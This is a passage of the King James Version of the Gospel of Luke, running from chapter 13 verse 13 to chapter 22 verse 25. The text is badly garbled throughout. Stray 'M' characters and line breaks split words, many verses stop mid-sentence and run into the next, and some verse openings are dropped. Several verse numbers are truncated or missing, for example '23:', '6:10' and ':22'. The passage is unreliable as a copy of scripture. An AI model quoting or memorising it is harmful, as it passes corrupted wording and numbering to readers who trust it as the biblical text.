13:13: And he laid his hands on her: and immediately she was made straight, and glorified God.
13:14: And the ruler of the synagogue answered with indignation, because that Jesus had healed on the sabbath day, and said unto the people, There are six days in which men ought to work: in them therefore come and be healed, and not on the sabbath day.
13:15: The Lord then answered him, and said, Thou hypocrite, doth not each one of you on the sabbath loose his oM
x or his ass from the stall, and lead him away to watering?
13:16: And ought not this woman, being a daughter of Abraham, whom Satan hath bound, lo, these eighteen years, be loosed from this bond on the sabbath day?
13:17: And when he had said these things, all his adversaries were ashamed: and all the people rejoiced for all the glorious things that were done by him.
13:18: Then said he, Unto what is the kingdom of God like? and whereunto shall I resemble it?
13:19: It is like a grain of mustard seed, which a man M
took, and cast into his garden; and it grew, and waxed a great tree; and the fowls of the air lodged in the branches of it.
13:20: And again he said, Whereunto shall I liken the kingdom of God?
13:21: It is like leaven, which a woman took and hid in three measures of meal, till the whole was leavened.
13:22: And he went through the cities and villages, teaching, and journeying toward Jerusalem.
13:23: Then said one unto him, Lord, are there few that be saved? And he said unto them,
13:24: Strive to enter in at the M
strait gate: for many, I say unto you, will seek to enter in, and shall not be able.
13:25: When once the master of the house is risen up, and hath shut to the door, and ye begin to stand without, and to knock at the door, saying, Lord, Lord, open unto us; and he shall answer and say unto you, I know you not whence ye are:
13:26: Then shall ye begin to say, We have eaten and drunk in thy presence, and thou hast taught in our streets.
13:27: But he shall say, I tell you, I know you not whence ye are; depart from me,M
 all ye workers of iniquity.
13:28: There shall be weeping and gnashing of teeth, when ye shall see Abraham, and Isaac, and Jacob, and all the prophets, in the kingdom of God, and you yourselves thrust out.
13:29: And they shall come from the east, and from the west, and from the north, and from the south, and shall sit down in the kingdom of God.
13:30: And, behold, there are last which shall be first, and there are first which shall be last.
13:31: The same day there came certain of the Pharisees, saying unto himM
, Get thee out, and depart hence: for Herod will kill thee.
13:32: And he said unto them, Go ye, and tell that fox, Behold, I cast out devils, and I do cures to day and to morrow, and the third day I shall be perfected.
13:33: Nevertheless I must walk to day, and to morrow, and the day following: for it cannot be that a prophet perish out of Jerusalem.
13:34: O Jerusalem, Jerusalem, which killest the prophets, and stonest them that are sent unto thee; how often would I have gathered thy children together, as a hen M
doth gather her brood under her wings, and ye would not!
13:35: Behold, your house is left unto you desolate: and verily I say unto you, Ye shall not see me, until the time come when ye shall say, Blessed is he that cometh in the name of the Lord.
14:1: And it came to pass, as he went into the house of one of the chief Pharisees to eat bread on the sabbath day, that they watched him.
14:2: And, behold, there was a certain man before him which had the dropsy.
14:3: And Jesus answering spake unto the lawyM
ers and Pharisees, saying, Is it lawful to heal on the sabbath day?
14:4: And they held their peace. And he took him, and healed him, and let him go;
14:5: And answered them, saying, Which of you shall have an ass or an ox fallen into a pit, and will not straightway pull him out on the sabbath day?
14:6: And they could not answer him again to these things.
14:7: And he put forth a parable to those which were bidden, when he marked how they chose out the chief rooms; saying unto them,
14:8: When thou art bidden of aM
ny man to a wedding, sit not down in the highest room; lest a more honourable man than thou be bidden of him;
14:9: And he that bade thee and him come and say to thee, Give this man place; and thou begin with shame to take the lowest room.
14:10: But when thou art bidden, go and sit down in the lowest room; that when he that bade thee cometh, he may say unto thee, Friend, go up higher: then shalt thou have worship in the presence of them that sit at meat with thee.
14:11: For whosoever exalteth himself shall be abaM
sed; and he that humbleth himself shall be exalted.
14:12: Then said he also to him that bade him, When thou makest a dinner or a supper, call not thy friends, nor thy brethren, neither thy kinsmen, nor thy rich neighbours; lest they also bid thee again, and a recompence be made thee.
14:13: But when thou makest a feast, call the poor, the maimed, the lame, the blind:
14:14: And thou shalt be blessed; for they cannot recompense thee: for thou shalt be recompensed at the resurrection of the just.
14:15: And when oneM
 of them that sat at meat with him heard these things, he said unto him, Blessed is he that shall eat bread in the kingdom of God.
14:16: Then said he unto him, A certain man made a great supper, and bade many:
14:17: And sent his servant at supper time to say to them that were bidden, Come; for all things are now ready.
14:18: And they all with one consent began to make excuse. The first said unto him, I have bought a piece of ground, and I must needs go and see it: I pray thee have me excused.
14:19: And another M
said, I have bought five yoke of oxen, and I go to prove them: I pray thee have me excused.
14:20: And another said, I have married a wife, and therefore I cannot come.
14:21: So that servant came, and shewed his lord these things. Then the master of the house being angry said to his servant, Go out quickly into the streets and lanes of the city, and bring in hither the poor, and the maimed, and the halt, and the blind.
14:22: And the servant said, Lord, it is done as thou hast commanded, and yet there is room.
23: And the lord said unto the servant, Go out into the highways and hedges, and compel them to come in, that my house may be filled.
14:24: For I say unto you, That none of those men which were bidden shall taste of my supper.
14:25: And there went great multitudes with him: and he turned, and said unto them,
14:26: If any man come to me, and hate not his father, and mother, and wife, and children, and brethren, and sisters, yea, and his own life also, he cannot be my disciple.
14:27: And whosoever doth not bear hM
is cross, and come after me, cannot be my disciple.
14:28: For which of you, intending to build a tower, sitteth not down first, and counteth the cost, whether he have sufficient to finish it?
14:29: Lest haply, after he hath laid the foundation, and is not able to finish it, all that behold it begin to mock him,
14:30: Saying, This man began to build, and was not able to finish.
14:31: Or what king, going to make war against another king, sitteth not down first, and consulteth whether he be able with ten thousand M
to meet him that cometh against him with twenty thousand?
14:32: Or else, while the other is yet a great way off, he sendeth an ambassage, and desireth conditions of peace.
14:33: So likewise, whosoever he be of you that forsaketh not all that he hath, he cannot be my disciple.
14:34: Salt is good: but if the salt have lost his savour, wherewith shall it be seasoned?
14:35: It is neither fit for the land, nor yet for the dunghill; but men cast it out. He that hath ears to hear, let him hear.
drew near unto him all the publicans and sinners for to hear him.
15:2: And the Pharisees and scribes murmured, saying, This man receiveth sinners, and eateth with them.
15:3: And he spake this parable unto them, saying,
15:4: What man of you, having an hundred sheep, if he lose one of them, doth not leave the ninety and nine in the wilderness, and go after that which is lost, until he find it?
15:5: And when he hath found it, he layeth it on his shoulders, rejoicing.
15:6: And when he cometh home, he calleth togetM
her his friends and neighbours, saying unto them, Rejoice with me; for I have found my sheep which was lost.
15:7: I say unto you, that likewise joy shall be in heaven over one sinner that repenteth, more than over ninety and nine just persons, which need no repentance.
15:8: Either what woman having ten pieces of silver, if she lose one piece, doth not light a candle, and sweep the house, and seek diligently till she find it?
15:9: And when she hath found it, she calleth her friends and her neighbours together, saM
ying, Rejoice with me; for I have found the piece which I had lost.
15:10: Likewise, I say unto you, there is joy in the presence of the angels of God over one sinner that repenteth.
15:11: And he said, A certain man had two sons:
15:12: And the younger of them said to his father, Father, give me the portion of goods that falleth to me. And he divided unto them his living.
15:13: And not many days after the younger son gathered all together, and took his journey into a far country, and there wasted his substance wiM
15:14: And when he had spent all, there arose a mighty famine in that land; and he began to be in want.
15:15: And he went and joined himself to a citizen of that country; and he sent him into his fields to feed swine.
15:16: And he would fain have filled his belly with the husks that the swine did eat: and no man gave unto him.
15:17: And when he came to himself, he said, How many hired servants of my father's have bread enough and to spare, and I perish with hunger!
15:18: I will arise and go tM
o my father, and will say unto him, Father, I have sinned against heaven, and before thee,
15:19: And am no more worthy to be called thy son: make me as one of thy hired servants.
15:20: And he arose, and came to his father. But when he was yet a great way off, his father saw him, and had compassion, and ran, and fell on his neck, and kissed him.
15:21: And the son said unto him, Father, I have sinned against heaven, and in thy sight, and am no more worthy to be called thy son.
15:22: But the father said to his serM
vants, Bring forth the best robe, and put it on him; and put a ring on his hand, and shoes on his feet:
15:23: And bring hither the fatted calf, and kill it; and let us eat, and be merry:
15:24: For this my son was dead, and is alive again; he was lost, and is found. And they began to be merry.
15:25: Now his elder son was in the field: and as he came and drew nigh to the house, he heard musick and dancing.
15:26: And he called one of the servants, and asked what these things meant.
15:27: And he said unto him, ThyM
 brother is come; and thy father hath killed the fatted calf, because he hath received him safe and sound.
15:28: And he was angry, and would not go in: therefore came his father out, and intreated him.
15:29: And he answering said to his father, Lo, these many years do I serve thee, neither transgressed I at any time thy commandment: and yet thou never gavest me a kid, that I might make merry with my friends:
15:30: But as soon as this thy son was come, which hath devoured thy living with harlots, thou hast killedM
 for him the fatted calf.
15:31: And he said unto him, Son, thou art ever with me, and all that I have is thine.
15:32: It was meet that we should make merry, and be glad: for this thy brother was dead, and is alive again; and was lost, and is found.
16:1: And he said also unto his disciples, There was a certain rich man, which had a steward; and the same was accused unto him that he had wasted his goods.
16:2: And he called him, and said unto him, How is it that I hear this of thee? give an account of M
thy stewardship; for thou mayest be no longer steward.
16:3: Then the steward said within himself, What shall I do? for my lord taketh away from me the stewardship: I cannot dig; to beg I am ashamed.
16:4: I am resolved what to do, that, when I am put out of the stewardship, they may receive me into their houses.
16:5: So he called every one of his lord's debtors unto him, and said unto the first, How much owest thou unto my lord?
16:6: And he said, An hundred measures of oil. And he said unto him, Take thy bill, aM
nd sit down quickly, and write fifty.
16:7: Then said he to another, And how much owest thou? And he said, An hundred measures of wheat. And he said unto him, Take thy bill, and write fourscore.
16:8: And the lord commended the unjust steward, because he had done wisely: for the children of this world are in their generation wiser than the children of light.
16:9: And I say unto you, Make to yourselves friends of the mammon of unrighteousness; that, when ye fail, they may receive you into everlasting habitations.
6:10: He that is faithful in that which is least is faithful also in much: and he that is unjust in the least is unjust also in much.
16:11: If therefore ye have not been faithful in the unrighteous mammon, who will commit to your trust the true riches?
16:12: And if ye have not been faithful in that which is another man's, who shall give you that which is your own?
16:13: No servant can serve two masters: for either he will hate the one, and love the other; or else he will hold to the one, and despise the other. YM
e cannot serve God and mammon.
16:14: And the Pharisees also, who were covetous, heard all these things: and they derided him.
16:15: And he said unto them, Ye are they which justify yourselves before men; but God knoweth your hearts: for that which is highly esteemed among men is abomination in the sight of God.
16:16: The law and the prophets were until John: since that time the kingdom of God is preached, and every man presseth into it.
16:17: And it is easier for heaven and earth to pass, than one tittle of theM
16:18: Whosoever putteth away his wife, and marrieth another, committeth adultery: and whosoever marrieth her that is put away from her husband committeth adultery.
16:19: There was a certain rich man, which was clothed in purple and fine linen, and fared sumptuously every day:
16:20: And there was a certain beggar named Lazarus, which was laid at his gate, full of sores,
16:21: And desiring to be fed with the crumbs which fell from the rich man's table: moreover the dogs came and licked his sores.
:22: And it came to pass, that the beggar died, and was carried by the angels into Abraham's bosom: the rich man also died, and was buried;
16:23: And in hell he lift up his eyes, being in torments, and seeth Abraham afar off, and Lazarus in his bosom.
16:24: And he cried and said, Father Abraham, have mercy on me, and send Lazarus, that he may dip the tip of his finger in water, and cool my tongue; for I am tormented in this flame.
16:25: But Abraham said, Son, remember that thou in thy lifetime receivedst thy gooM
d things, and likewise Lazarus evil things: but now he is comforted, and thou art tormented.
16:26: And beside all this, between us and you there is a great gulf fixed: so that they which would pass from hence to you cannot; neither can they pass to us, that would come from thence.
16:27: Then he said, I pray thee therefore, father, that thou wouldest send him to my father's house:
16:28: For I have five brethren; that he may testify unto them, lest they also come into this place of torment.
16:29: Abraham saith unM
to him, They have Moses and the prophets; let them hear them.
16:30: And he said, Nay, father Abraham: but if one went unto them from the dead, they will repent.
16:31: And he said unto him, If they hear not Moses and the prophets, neither will they be persuaded, though one rose from the dead.
17:1: Then said he unto the disciples, It is impossible but that offences will come: but woe unto him, through whom they come!
17:2: It were better for him that a millstone were hanged about his neck, and he cast M
into the sea, than that he should offend one of these little ones.
17:3: Take heed to yourselves: If thy brother trespass against thee, rebuke him; and if he repent, forgive him.
17:4: And if he trespass against thee seven times in a day, and seven times in a day turn again to thee, saying, I repent; thou shalt forgive him.
17:5: And the apostles said unto the Lord, Increase our faith.
17:6: And the Lord said, If ye had faith as a grain of mustard seed, ye might say unto this sycamine tree, Be thou plucked up by thM
e root, and be thou planted in the sea; and it should obey you.
17:7: But which of you, having a servant plowing or feeding cattle, will say unto him by and by, when he is come from the field, Go and sit down to meat?
17:8: And will not rather say unto him, Make ready wherewith I may sup, and gird thyself, and serve me, till I have eaten and drunken; and afterward thou shalt eat and drink?
17:9: Doth he thank that servant because he did the things that were commanded him? I trow not.
17:10: So likewise ye, when ye M
shall have done all those things which are commanded you, say, We are unprofitable servants: we have done that which was our duty to do.
17:11: And it came to pass, as he went to Jerusalem, that he passed through the midst of Samaria and Galilee.
17:12: And as he entered into a certain village, there met him ten men that were lepers, which stood afar off:
17:13: And they lifted up their voices, and said, Jesus, Master, have mercy on us.
17:14: And when he saw them, he said unto them, Go shew yourselves unto the priM
ests. And it came to pass, that, as they went, they were cleansed.
17:15: And one of them, when he saw that he was healed, turned back, and with a loud voice glorified God,
17:16: And fell down on his face at his feet, giving him thanks: and he was a Samaritan.
17:17: And Jesus answering said, Were there not ten cleansed? but where are the nine?
17:18: There are not found that returned to give glory to God, save this stranger.
17:19: And he said unto him, Arise, go thy way: thy faith hath made thee whole.
d when he was demanded of the Pharisees, when the kingdom of God should come, he answered them and said, The kingdom of God cometh not with observation:
17:21: Neither shall they say, Lo here! or, lo there! for, behold, the kingdom of God is within you.
17:22: And he said unto the disciples, The days will come, when ye shall desire to see one of the days of the Son of man, and ye shall not see it.
17:23: And they shall say to you, See here; or, see there: go not after them, nor follow them.
17:24: For as the lightnM
ing, that lighteneth out of the one part under heaven, shineth unto the other part under heaven; so shall also the Son of man be in his day.
17:25: But first must he suffer many things, and be rejected of this generation.
17:26: And as it was in the days of Noe, so shall it be also in the days of the Son of man.
17:27: They did eat, they drank, they married wives, they were given in marriage, until the day that Noe entered into the ark, and the flood came, and destroyed them all.
17:28: Likewise also as it was in tM
he days of Lot; they did eat, they drank, they bought, they sold, they planted, they builded;
17:29: But the same day that Lot went out of Sodom it rained fire and brimstone from heaven, and destroyed them all.
17:30: Even thus shall it be in the day when the Son of man is revealed.
17:31: In that day, he which shall be upon the housetop, and his stuff in the house, let him not come down to take it away: and he that is in the field, let him likewise not return back.
17:32: Remember Lot's wife.
17:33: Whosoever shalM
l seek to save his life shall lose it; and whosoever shall lose his life shall preserve it.
17:34: I tell you, in that night there shall be two men in one bed; the one shall be taken, and the other shall be left.
17:35: Two women shall be grinding together; the one shall be taken, and the other left.
17:36: Two men shall be in the field; the one shall be taken, and the other left.
17:37: And they answered and said unto him, Where, Lord? And he said unto them, Wheresoever the body is, thither will the eagles be gathM
18:1: And he spake a parable unto them to this end, that men ought always to pray, and not to faint;
18:2: Saying, There was in a city a judge, which feared not God, neither regarded man:
18:3: And there was a widow in that city; and she came unto him, saying, Avenge me of mine adversary.
18:4: And he would not for a while: but afterward he said within himself, Though I fear not God, nor regard man;
18:5: Yet because this widow troubleth me, I will avenge her, lest by her continual comingM
18:6: And the Lord said, Hear what the unjust judge saith.
18:7: And shall not God avenge his own elect, which cry day and night unto him, though he bear long with them?
18:8: I tell you that he will avenge them speedily. Nevertheless when the Son of man cometh, shall he find faith on the earth?
18:9: And he spake this parable unto certain which trusted in themselves that they were righteous, and despised others:
18:10: Two men went up into the temple to pray; the one a Pharisee, and the other a publM
18:11: The Pharisee stood and prayed thus with himself, God, I thank thee, that I am not as other men are, extortioners, unjust, adulterers, or even as this publican.
18:12: I fast twice in the week, I give tithes of all that I possess.
18:13: And the publican, standing afar off, would not lift up so much as his eyes unto heaven, but smote upon his breast, saying, God be merciful to me a sinner.
18:14: I tell you, this man went down to his house justified rather than the other: for every one that exalteth himM
self shall be abased; and he that humbleth himself shall be exalted.
18:15: And they brought unto him also infants, that he would touch them: but when his disciples saw it, they rebuked them.
18:16: But Jesus called them unto him, and said, Suffer little children to come unto me, and forbid them not: for of such is the kingdom of God.
18:17: Verily I say unto you, Whosoever shall not receive the kingdom of God as a little child shall in no wise enter therein.
18:18: And a certain ruler asked him, saying, Good MasteM
r, what shall I do to inherit eternal life?
18:19: And Jesus said unto him, Why callest thou me good? none is good, save one, that is, God.
18:20: Thou knowest the commandments, Do not commit adultery, Do not kill, Do not steal, Do not bear false witness, Honour thy father and thy mother.
18:21: And he said, All these have I kept from my youth up.
18:22: Now when Jesus heard these things, he said unto him, Yet lackest thou one thing: sell all that thou hast, and distribute unto the poor, and thou shalt have treasurM
e in heaven: and come, follow me.
18:23: And when he heard this, he was very sorrowful: for he was very rich.
18:24: And when Jesus saw that he was very sorrowful, he said, How hardly shall they that have riches enter into the kingdom of God!
18:25: For it is easier for a camel to go through a needle's eye, than for a rich man to enter into the kingdom of God.
18:26: And they that heard it said, Who then can be saved?
18:27: And he said, The things which are impossible with men are possible with God.
ter said, Lo, we have left all, and followed thee.
18:29: And he said unto them, Verily I say unto you, There is no man that hath left house, or parents, or brethren, or wife, or children, for the kingdom of God's sake,
18:30: Who shall not receive manifold more in this present time, and in the world to come life everlasting.
18:31: Then he took unto him the twelve, and said unto them, Behold, we go up to Jerusalem, and all things that are written by the prophets concerning the Son of man shall be accomplished.
32: For he shall be delivered unto the Gentiles, and shall be mocked, and spitefully entreated, and spitted on:
18:33: And they shall scourge him, and put him to death: and the third day he shall rise again.
18:34: And they understood none of these things: and this saying was hid from them, neither knew they the things which were spoken.
18:35: And it came to pass, that as he was come nigh unto Jericho, a certain blind man sat by the way side begging:
18:36: And hearing the multitude pass by, he asked what it meantM
18:37: And they told him, that Jesus of Nazareth passeth by.
18:38: And he cried, saying, Jesus, thou Son of David, have mercy on me.
18:39: And they which went before rebuked him, that he should hold his peace: but he cried so much the more, Thou Son of David, have mercy on me.
18:40: And Jesus stood, and commanded him to be brought unto him: and when he was come near, he asked him,
18:41: Saying, What wilt thou that I shall do unto thee? And he said, Lord, that I may receive my sight.
18:42: And Jesus said untoM
 him, Receive thy sight: thy faith hath saved thee.
18:43: And immediately he received his sight, and followed him, glorifying God: and all the people, when they saw it, gave praise unto God.
19:1: And Jesus entered and passed through Jericho.
19:2: And, behold, there was a man named Zacchaeus, which was the chief among the publicans, and he was rich.
19:3: And he sought to see Jesus who he was; and could not for the press, because he was little of stature.
19:4: And he ran before, and climbed up into aM
 sycomore tree to see him: for he was to pass that way.
19:5: And when Jesus came to the place, he looked up, and saw him, and said unto him, Zacchaeus, make haste, and come down; for to day I must abide at thy house.
19:6: And he made haste, and came down, and received him joyfully.
19:7: And when they saw it, they all murmured, saying, That he was gone to be guest with a man that is a sinner.
19:8: And Zacchaeus stood, and said unto the Lord; Behold, Lord, the half of my goods I give to the poor; and if I have taM
ken any thing from any man by false accusation, I restore him fourfold.
19:9: And Jesus said unto him, This day is salvation come to this house, forsomuch as he also is a son of Abraham.
19:10: For the Son of man is come to seek and to save that which was lost.
19:11: And as they heard these things, he added and spake a parable, because he was nigh to Jerusalem, and because they thought that the kingdom of God should immediately appear.
19:12: He said therefore, A certain nobleman went into a far country to receiveM
 for himself a kingdom, and to return.
19:13: And he called his ten servants, and delivered them ten pounds, and said unto them, Occupy till I come.
19:14: But his citizens hated him, and sent a message after him, saying, We will not have this man to reign over us.
19:15: And it came to pass, that when he was returned, having received the kingdom, then he commanded these servants to be called unto him, to whom he had given the money, that he might know how much every man had gained by trading.
19:16: Then came the M
first, saying, Lord, thy pound hath gained ten pounds.
19:17: And he said unto him, Well, thou good servant: because thou hast been faithful in a very little, have thou authority over ten cities.
19:18: And the second came, saying, Lord, thy pound hath gained five pounds.
19:19: And he said likewise to him, Be thou also over five cities.
19:20: And another came, saying, Lord, behold, here is thy pound, which I have kept laid up in a napkin:
19:21: For I feared thee, because thou art an austere man: thou takest up tM
hat thou layedst not down, and reapest that thou didst not sow.
19:22: And he saith unto him, Out of thine own mouth will I judge thee, thou wicked servant. Thou knewest that I was an austere man, taking up that I laid not down, and reaping that I did not sow:
19:23: Wherefore then gavest not thou my money into the bank, that at my coming I might have required mine own with usury?
19:24: And he said unto them that stood by, Take from him the pound, and give it to him that hath ten pounds.
19:25: (And they said untoM
 him, Lord, he hath ten pounds.)
19:26: For I say unto you, That unto every one which hath shall be given; and from him that hath not, even that he hath shall be taken away from him.
19:27: But those mine enemies, which would not that I should reign over them, bring hither, and slay them before me.
19:28: And when he had thus spoken, he went before, ascending up to Jerusalem.
19:29: And it came to pass, when he was come nigh to Bethphage and Bethany, at the mount called the mount of Olives, he sent two of his disciM
19:30: Saying, Go ye into the village over against you; in the which at your entering ye shall find a colt tied, whereon yet never man sat: loose him, and bring him hither.
19:31: And if any man ask you, Why do ye loose him? thus shall ye say unto him, Because the Lord hath need of him.
19:32: And they that were sent went their way, and found even as he had said unto them.
19:33: And as they were loosing the colt, the owners thereof said unto them, Why loose ye the colt?
19:34: And they said, The Lord hath neM
19:35: And they brought him to Jesus: and they cast their garments upon the colt, and they set Jesus thereon.
19:36: And as he went, they spread their clothes in the way.
19:37: And when he was come nigh, even now at the descent of the mount of Olives, the whole multitude of the disciples began to rejoice and praise God with a loud voice for all the mighty works that they had seen;
19:38: Saying, Blessed be the King that cometh in the name of the Lord: peace in heaven, and glory in the highest.
d some of the Pharisees from among the multitude said unto him, Master, rebuke thy disciples.
19:40: And he answered and said unto them, I tell you that, if these should hold their peace, the stones would immediately cry out.
19:41: And when he was come near, he beheld the city, and wept over it,
19:42: Saying, If thou hadst known, even thou, at least in this thy day, the things which belong unto thy peace! but now they are hid from thine eyes.
19:43: For the days shall come upon thee, that thine enemies shall castM
 a trench about thee, and compass thee round, and keep thee in on every side,
19:44: And shall lay thee even with the ground, and thy children within thee; and they shall not leave in thee one stone upon another; because thou knewest not the time of thy visitation.
19:45: And he went into the temple, and began to cast out them that sold therein, and them that bought;
19:46: Saying unto them, It is written, My house is the house of prayer: but ye have made it a den of thieves.
19:47: And he taught daily in the templM
e. But the chief priests and the scribes and the chief of the people sought to destroy him,
19:48: And could not find what they might do: for all the people were very attentive to hear him.
20:1: And it came to pass, that on one of those days, as he taught the people in the temple, and preached the gospel, the chief priests and the scribes came upon him with the elders,
20:2: And spake unto him, saying, Tell us, by what authority doest thou these things? or who is he that gave thee this authority?
 And he answered and said unto them, I will also ask you one thing; and answer me:
20:4: The baptism of John, was it from heaven, or of men?
20:5: And they reasoned with themselves, saying, If we shall say, From heaven; he will say, Why then believed ye him not?
20:6: But and if we say, Of men; all the people will stone us: for they be persuaded that John was a prophet.
20:7: And they answered, that they could not tell whence it was.
20:8: And Jesus said unto them, Neither tell I you by what authority I do these thM
20:9: Then began he to speak to the people this parable; A certain man planted a vineyard, and let it forth to husbandmen, and went into a far country for a long time.
20:10: And at the season he sent a servant to the husbandmen, that they should give him of the fruit of the vineyard: but the husbandmen beat him, and sent him away empty.
20:11: And again he sent another servant: and they beat him also, and entreated him shamefully, and sent him away empty.
20:12: And again he sent a third: and they wounded hiM
m also, and cast him out.
20:13: Then said the lord of the vineyard, What shall I do? I will send my beloved son: it may be they will reverence him when they see him.
20:14: But when the husbandmen saw him, they reasoned among themselves, saying, This is the heir: come, let us kill him, that the inheritance may be ours.
20:15: So they cast him out of the vineyard, and killed him. What therefore shall the lord of the vineyard do unto them?
20:16: He shall come and destroy these husbandmen, and shall give the vineyarM
d to others. And when they heard it, they said, God forbid.
20:17: And he beheld them, and said, What is this then that is written, The stone which the builders rejected, the same is become the head of the corner?
20:18: Whosoever shall fall upon that stone shall be broken; but on whomsoever it shall fall, it will grind him to powder.
20:19: And the chief priests and the scribes the same hour sought to lay hands on him; and they feared the people: for they perceived that he had spoken this parable against them.
20: And they watched him, and sent forth spies, which should feign themselves just men, that they might take hold of his words, that so they might deliver him unto the power and authority of the governor.
20:21: And they asked him, saying, Master, we know that thou sayest and teachest rightly, neither acceptest thou the person of any, but teachest the way of God truly:
20:22: Is it lawful for us to give tribute unto Caesar, or no?
20:23: But he perceived their craftiness, and said unto them, Why tempt ye me?
 Shew me a penny. Whose image and superscription hath it? They answered and said, Caesar's.
20:25: And he said unto them, Render therefore unto Caesar the things which be Caesar's, and unto God the things which be God's.
20:26: And they could not take hold of his words before the people: and they marvelled at his answer, and held their peace.
20:27: Then came to him certain of the Sadducees, which deny that there is any resurrection; and they asked him,
20:28: Saying, Master, Moses wrote unto us, If any man's brothM
er die, having a wife, and he die without children, that his brother should take his wife, and raise up seed unto his brother.
20:29: There were therefore seven brethren: and the first took a wife, and died without children.
20:30: And the second took her to wife, and he died childless.
20:31: And the third took her; and in like manner the seven also: and they left no children, and died.
20:32: Last of all the woman died also.
20:33: Therefore in the resurrection whose wife of them is she? for seven had her to wifeM
20:34: And Jesus answering said unto them, The children of this world marry, and are given in marriage:
20:35: But they which shall be accounted worthy to obtain that world, and the resurrection from the dead, neither marry, nor are given in marriage:
20:36: Neither can they die any more: for they are equal unto the angels; and are the children of God, being the children of the resurrection.
20:37: Now that the dead are raised, even Moses shewed at the bush, when he calleth the Lord the God of Abraham, and the GoM
d of Isaac, and the God of Jacob.
20:38: For he is not a God of the dead, but of the living: for all live unto him.
20:39: Then certain of the scribes answering said, Master, thou hast well said.
20:40: And after that they durst not ask him any question at all.
20:41: And he said unto them, How say they that Christ is David's son?
20:42: And David himself saith in the book of Psalms, The LORD said unto my Lord, Sit thou on my right hand,
20:43: Till I make thine enemies thy footstool.
20:44: David therefore callethM
 him Lord, how is he then his son?
20:45: Then in the audience of all the people he said unto his disciples,
20:46: Beware of the scribes, which desire to walk in long robes, and love greetings in the markets, and the highest seats in the synagogues, and the chief rooms at feasts;
20:47: Which devour widows' houses, and for a shew make long prayers: the same shall receive greater damnation.
21:1: And he looked up, and saw the rich men casting their gifts into the treasury.
21:2: And he saw also a certaiM
n poor widow casting in thither two mites.
21:3: And he said, Of a truth I say unto you, that this poor widow hath cast in more than they all:
21:4: For all these have of their abundance cast in unto the offerings of God: but she of her penury hath cast in all the living that she had.
21:5: And as some spake of the temple, how it was adorned with goodly stones and gifts, he said,
21:6: As for these things which ye behold, the days will come, in the which there shall not be left one stone upon another, that shall noM
21:7: And they asked him, saying, Master, but when shall these things be? and what sign will there be when these things shall come to pass?
21:8: And he said, Take heed that ye be not deceived: for many shall come in my name, saying, I am Christ; and the time draweth near: go ye not therefore after them.
21:9: But when ye shall hear of wars and commotions, be not terrified: for these things must first come to pass; but the end is not by and by.
21:10: Then said he unto them, Nation shall rise agaiM
nst nation, and kingdom against kingdom:
21:11: And great earthquakes shall be in divers places, and famines, and pestilences; and fearful sights and great signs shall there be from heaven.
21:12: But before all these, they shall lay their hands on you, and persecute you, delivering you up to the synagogues, and into prisons, being brought before kings and rulers for my name's sake.
21:13: And it shall turn to you for a testimony.
21:14: Settle it therefore in your hearts, not to meditate before what ye shall answeM
21:15: For I will give you a mouth and wisdom, which all your adversaries shall not be able to gainsay nor resist.
21:16: And ye shall be betrayed both by parents, and brethren, and kinsfolks, and friends; and some of you shall they cause to be put to death.
21:17: And ye shall be hated of all men for my name's sake.
21:18: But there shall not an hair of your head perish.
21:19: In your patience possess ye your souls.
21:20: And when ye shall see Jerusalem compassed with armies, then know that the desolation theM
21:21: Then let them which are in Judaea flee to the mountains; and let them which are in the midst of it depart out; and let not them that are in the countries enter thereinto.
21:22: For these be the days of vengeance, that all things which are written may be fulfilled.
21:23: But woe unto them that are with child, and to them that give suck, in those days! for there shall be great distress in the land, and wrath upon this people.
21:24: And they shall fall by the edge of the sword, and shall be ledM
 away captive into all nations: and Jerusalem shall be trodden down of the Gentiles, until the times of the Gentiles be fulfilled.
21:25: And there shall be signs in the sun, and in the moon, and in the stars; and upon the earth distress of nations, with perplexity; the sea and the waves roaring;
21:26: Men's hearts failing them for fear, and for looking after those things which are coming on the earth: for the powers of heaven shall be shaken.
21:27: And then shall they see the Son of man coming in a cloud with poM
wer and great glory.
21:28: And when these things begin to come to pass, then look up, and lift up your heads; for your redemption draweth nigh.
21:29: And he spake to them a parable; Behold the fig tree, and all the trees;
21:30: When they now shoot forth, ye see and know of your own selves that summer is now nigh at hand.
21:31: So likewise ye, when ye see these things come to pass, know ye that the kingdom of God is nigh at hand.
21:32: Verily I say unto you, This generation shall not pass away, till all be fulfM
21:33: Heaven and earth shall pass away: but my words shall not pass away.
21:34: And take heed to yourselves, lest at any time your hearts be overcharged with surfeiting, and drunkenness, and cares of this life, and so that day come upon you unawares.
21:35: For as a snare shall it come on all them that dwell on the face of the whole earth.
21:36: Watch ye therefore, and pray always, that ye may be accounted worthy to escape all these things that shall come to pass, and to stand before the Son of man.
: And in the day time he was teaching in the temple; and at night he went out, and abode in the mount that is called the mount of Olives.
21:38: And all the people came early in the morning to him in the temple, for to hear him.
22:1: Now the feast of unleavened bread drew nigh, which is called the Passover.
22:2: And the chief priests and scribes sought how they might kill him; for they feared the people.
22:3: Then entered Satan into Judas surnamed Iscariot, being of the number of the twelve.
d he went his way, and communed with the chief priests and captains, how he might betray him unto them.
22:5: And they were glad, and covenanted to give him money.
22:6: And he promised, and sought opportunity to betray him unto them in the absence of the multitude.
22:7: Then came the day of unleavened bread, when the passover must be killed.
22:8: And he sent Peter and John, saying, Go and prepare us the passover, that we may eat.
22:9: And they said unto him, Where wilt thou that we prepare?
22:10: And he said uM
nto them, Behold, when ye are entered into the city, there shall a man meet you, bearing a pitcher of water; follow him into the house where he entereth in.
22:11: And ye shall say unto the goodman of the house, The Master saith unto thee, Where is the guestchamber, where I shall eat the passover with my disciples?
22:12: And he shall shew you a large upper room furnished: there make ready.
22:13: And they went, and found as he had said unto them: and they made ready the passover.
22:14: And when the hour was come,M
 he sat down, and the twelve apostles with him.
22:15: And he said unto them, With desire I have desired to eat this passover with you before I suffer:
22:16: For I say unto you, I will not any more eat thereof, until it be fulfilled in the kingdom of God.
22:17: And he took the cup, and gave thanks, and said, Take this, and divide it among yourselves:
22:18: For I say unto you, I will not drink of the fruit of the vine, until the kingdom of God shall come.
22:19: And he took bread, and gave thanks, and brake it, aM
nd gave unto them, saying, This is my body which is given for you: this do in remembrance of me.
22:20: Likewise also the cup after supper, saying, This cup is the new testament in my blood, which is shed for you.
22:21: But, behold, the hand of him that betrayeth me is with me on the table.
22:22: And truly the Son of man goeth, as it was determined: but woe unto that man by whom he is betrayed!
22:23: And they began to enquire among themselves, which of them it was that should do this thing.
22:24: And there was M
also a strife among them, which of them should be accounted the greatest.
22:25: And he said unto them, The kings of the Gentiles exercise lordship over them; and they that exercise authority upon them are called benefactors.
